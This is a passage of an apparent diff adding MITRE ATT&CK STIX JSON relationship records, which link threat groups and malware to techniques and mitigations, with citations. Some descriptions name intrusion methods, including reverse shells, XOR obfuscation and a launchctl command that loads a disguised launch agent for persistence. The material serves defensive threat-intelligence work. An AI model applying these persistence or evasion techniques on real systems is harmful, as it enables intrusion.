"relationship--9d88636c-32f1-4ea4-b7d9-948e48055d37", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-08T14:33:15.979Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-26T23:38:34.200Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e46dc495-5581-471c-84b5-b0dd825471f9", + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from removable media with file extensions and keywords that match a predefined list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. 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(2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.435Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T12:58:44.320Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e64beefe-c3f8-473c-a527-7c85c43f3d93", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s dropper creates VBS scripts on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4806e7c3-c8df-477f-ac3b-819248878a79", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. 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(2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:55.030Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on running processes and environment variables from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) queried the Registry to identify victim information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35e47be3-2a31-401f-ad65-a2fa34f861f1", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.510Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:44:39.557Z", + "type": "relationship", + "id": "relationship--3e13612d-7459-4bec-ad74-9399d1f5ab96", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--28c0f30c-32c3-4c6c-a474-74820e55854f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) executes commands using a command-line interface and reverse shell. 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Retrieved June 29, 2017.", + "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2019-06-28T15:24:32.038Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:31:05.887Z", + "type": "relationship", + "id": "relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used PowerShell for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71ae6f80-3d5c-4d61-8995-5844f9f592ed", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.297Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3afd226c-934f-44fd-8194-9a6dee5cba59", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.635Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c879d75-7f07-44ff-9801-815a549cdc44", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to create a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41747c46-1dd1-418b-84e9-75710f17a10c", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used PowerShell Empire.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2019-05-03T16:42:19.202Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0c9e994-ddaf-4fb3-b57b-12bb05c552e6", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2019-04-25T12:24:57.292Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:20:31.350Z", + "type": "relationship", + "id": "relationship--140b4bbc-68c6-474a-adae-9b2275471f13", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:27:40.839Z", + "type": "relationship", + "id": "relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can take screenshots.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:44:28.536Z", + "type": "relationship", + "id": "relationship--3adf2672-d3d5-47aa-8eea-f223f6227677", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) regained access after eviction via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60069193-4573-420f-9b2e-e9a42b95af12", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.428Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) communicates to its C2 server over HTTP.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) performs thread execution hijacking to inject its orchestrator into a running thread from a remote process. [Gazer](https://attack.mitre.org/software/S0168) performs a separate injection of its communication module into an Internet accessible process through which it performs C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86ebda8c-df0c-4d76-970b-27bf392606a7", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed a bootkit along with [Downdelph](https://attack.mitre.org/software/S0134) to ensure its persistence on the victim. The bootkit shares code with some variants of [BlackEnergy](https://attack.mitre.org/software/S0089).", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e90e4a5-844c-4516-9044-6f35bbf27806", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2019-07-27T00:09:36.016Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.715Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to delete a file and deletes files after they have been successfully uploaded to C2 servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f06f614-8f5a-4666-9fa5-fcda1535f97d", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform port scans from an infected host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.259Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect active network connections by running netstat -an on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) looked for a specific process running on infected servers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8cb4430-db05-4029-b011-926a2ba17a4c", + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ], + "modified": "2019-03-25T17:15:03.477Z", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2851e8fa-0622-42db-b7b7-4e051fc5fbeb", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.284Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + 